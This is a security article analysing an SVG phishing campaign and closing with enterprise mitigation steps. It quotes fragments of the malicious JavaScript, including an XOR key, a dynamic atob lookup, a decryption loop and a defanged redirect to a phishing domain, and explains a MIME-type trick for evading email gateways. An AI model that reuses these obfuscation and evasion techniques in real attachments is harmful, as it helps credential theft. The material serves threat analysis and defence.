SVG Phishing Attacks: How to Stop New Email Security Threats

The corporate inbox has long been the primary battleground in enterprise cybersecurity, with security operations centers (SOCs) historically focusing their defenses on macro-heavy Office documents, payload-carrying PDFs, or executable binaries. However, as secure email gateways (SEGs) harden their signatures against traditional vectors, threat actors have pivoted to a highly evasive, web-standard vector that completely bypasses mainstream filters. On June 2, 2026, the SANS Internet Storm Center (ISC) issued an urgent threat warning following a fresh wave of highly sophisticated SVG phishing campaigns that exploit a massive, systemic blind spot in enterprise email security architecture.

Documented in detail by SANS handler Xavier Mertens, this campaign bypasses standard security filters by delivering malicious Scalable Vector Graphics (SVG) attachments. Because these files are typically categorized as standard image files by perimeter security devices, they are routinely waved through to employee inboxes without deep inspection. Once inside, they weaponize the victim’s own web browser to execute highly obfuscated redirection routines and harvest corporate credentials.

The Mechanics of SVG Phishing

To understand why this wave is so effective, security professionals must understand the unique architectural nature of the Scalable Vector Graphics standard. Unlike traditional rasterized image formats such as JPEGs or PNGs—which consist of flat pixel grids—an SVG is an open web standard written in Extensible Markup Language (XML). This means that an SVG file is essentially a structured text-based document.

Because it is parsed as markup, the SVG specification natively supports dynamic web technologies. It can contain standard HTML elements, anchor tags, stylesheet definitions, and—most critically—embedded JavaScript execution blocks. When an SVG is rendered within a modern browser engine, the browser parses the XML structure and automatically executes any nested scripts exactly as it would on a live web page.

In the Microsoft Windows ecosystem, this design creates a dangerous default behavior. By default, Windows does not map SVG files to a static image viewer; instead, it is configured to open them natively within the system’s default web browser (such as Microsoft Edge or Google Chrome). Consequently, if a recipient double-clicks an SVG attachment, the default browser instantly launches and runs the embedded script without requiring any secondary permissions, sandbox warnings, or macro activations.

Anatomy of the June 2026 SANS ISC Campaign

The campaign captured by SANS ISC illustrates the sleek minimalism of modern social engineering tactics. The malicious SVG files analysed by Xavier Mertens do not contain any visual data, shapes, or branding. There are no vector illustrations designed to look like official logos. Instead, the files consist strictly of empty markup encapsulating heavily obfuscated code blocks, designed solely to trigger execution and silent browser redirection.

Deconstructing the Obfuscation and Redirection Chain

The threat actors utilize a multi-layered obfuscation routine to prevent static signature engines and endpoint detection and response (EDR) agents from identifying the redirection targets in transit. This process relies on several core variables and a custom decryption function executed entirely in the victim’s browser memory:

• Target Identifier Variable (nl): The script begins by storing the target recipient’s email address in a variable named nl, pre-encoded in Base64. For example: nl = '$aGFuZGxlcnNAc2Fucy5lZHU='; (which translates to [email protected]). This allows the final landing page to be dynamically populated with the victim’s email address, adding a high degree of personalization to the credential-harvesting prompt.
• Encrypted Payload Variable (oa): The redirect destination and the auxiliary logic are heavily obfuscated within the variable oa, stored as a Base64-encoded, XOR-encrypted string.
• Concatenated XOR Key (bd): To decrypt the payload on-the-fly, the script defines two partial strings, pt and rm, which it concatenates to construct the full XOR key (bd):

  const pt = "b19208caeefa";
  const rm = "51d1e7dcd384";
  const bd = pt + rm;

• Dynamic Function Invocation: To bypass security controls searching for the native atob() Base64 decoding function, the script leverages an array-manipulation trick to resolve the function dynamically from the global window scope:

  const cx = ['b', 'style', 'o', 't', 'a'];
  const kf = self[[cx[4], cx[3], cx[2], cx[0]].join('')]; // Resolves to self['atob']
  const ts = kf(oa);

• XOR Decryption Loop: Once the Base64 layer is stripped, the script processes the string bytes through a bitwise XOR loop against the hardcoded key (bd):

  const rabbit = Uint8Array.from(ts, (aa, ak) => aa.charCodeAt(0) ^ bd.charCodeAt(ak % bd.length) );

• Silent Redirection: Finally, the browser parses the decrypted byte stream and executes a dynamic, silent redirect using window.location.href:

  window.location.href = "hxxps://chinougoo[.]cfd/W74rH61S!x7sbhhS0bKPv/" + "[email protected]";

The MIME-Type Evasion Strategy

One of the most notable aspects of this campaign is how it exploits parsing differences between email gateways and modern browsers. Standard email security scanners typically utilize pattern-matching signatures that scan text attachments for explicit script indicators like <script type="text/javascript"> or raw <script> tags.

To slip past these filters, the threat actors in this campaign utilize a deprecated but fully supported ECMAScript MIME type:

<script type="application/ecmascript">

Because application/ecmascript is technically an obsolete MIME-type identifier under the ECMA-262 standard, many legacy secure email gateways have no detection rules associated with it. However, Chromium-based web engines—which power Google Chrome, Microsoft Edge, Opera, and Brave—explicitly recognize all registered JavaScript MIME types within their core source code (such as mime_util.cc). The browser treats the script as entirely valid, executing the obfuscated payload immediately upon loading the vector.

The Proliferation of SVG Phishing in the Threat Landscape

The June 2026 alert from SANS is part of a larger, systemic shift in cybercriminal infrastructure. Cybercriminals are rapidly abandoning old-school techniques such as malicious QR codes, which have experienced a steep decline in effectiveness due to improved detection and user fatigue. Instead, they are turning to weaponized SVGs.

According to the Hoxhunt 2026 Phishing Trends Report, attacks utilizing malicious SVG attachments increased fifty-fold in 2025 compared to 2024, climbing from a niche technique to the third most common type of malicious email attachment globally, representing 5% of all observed malicious attachments. Only PDFs and standard HTML files remain more prevalent.

This rapid expansion is further illustrated by the scaling power of threat actors. Earlier in 2026, Microsoft threat intelligence tracked a single massive SVG campaign that delivered more than 1.2 million messages to over 53,000 organizations across 23 countries. Although Microsoft implemented partial mitigations in late 2025 by refusing to display inline SVG files within web-based email portals to combat Cross-Site Scripting (XSS), the email infrastructure still permits SVG files as downloadable and executable attachments, preserving this critical attack surface.

Additionally, threat actors are leveraging cheap, heavily automated infrastructure to host their redirection landing pages. In the latest wave of attacks, a large portion of the credential-harvesting pages were hosted on the .cfd Top-Level Domain (TLD). Originally designated for “Clothing, Fashion, and Design,” this cheap, unvetted TLD has become a favorite sandbox for threat actors to launch transient, short-lived phishing portals before reputation systems can flag the URLs.

Defending the Enterprise Against SVG Attacks

Because SVG phishing bypasses traditional, text-based email gateway filters, organizations must adjust their defensive policies to treat SVGs as functional code files rather than benign image attachments. Below is an enterprise mitigation checklist to help secure the corporate perimeter:

1. Implement Strict Gateway Rules: Configure your secure email gateways to perform deep, recursive XML parsing on incoming attachments. Specifically, create block or quarantine rules for any inbound .svg file containing <script> tags or references to alternative MIME-types like application/ecmascript, application/x-javascript, or text/ecmascript.
2. De-prioritize SVG Attachments: In most corporate environments, there is no legitimate business need for external contacts to send SVG files via email. Administrators should consider outright blocking inbound .svg attachments from external, unverified senders, or converting them to static PNGs at the gateway level.
3. Modify Default OS Handlers: System administrators can utilize Group Policy Objects (GPOs) or Unified Endpoint Management (UEM) solutions to change the default file association for .svg files on corporate endpoints. Instead of allowing Windows to open SVGs in default web browsers, map the extension to a safe text-only viewer (such as Notepad) or an isolated, non-executable image viewer.
4. Implement Network-Level Reputation Filters: Since many of these campaigns abuse cheap, untrusted TLDs such as .cfd, .country, or .top, security operations teams should block or tightly monitor outbound traffic directed to these top-level domains, particularly when originating from browser processes spawned by email clients.
5. Focus on Behavioral Training: Classic security awareness training that advises users to “look for typos” is increasingly obsolete in the era of AI-generated phishing. Human Risk Management (HRM) programs should be updated to train employees to treat unexpected image attachments with the exact same level of suspicion as executable `.exe` or script-heavy `.vbs` files.

As cybercriminals continue to identify and exploit technical blind spots in enterprise defenses, the rise of SVG-based phishing campaigns serves as a stark reminder that legacy assumptions about “safe” file formats can expose organizations to severe risk. By treating Scalable Vector Graphics as the active code files they truly are, security leaders can close this critical window of vulnerability and neutralize a rapidly expanding vector of attack.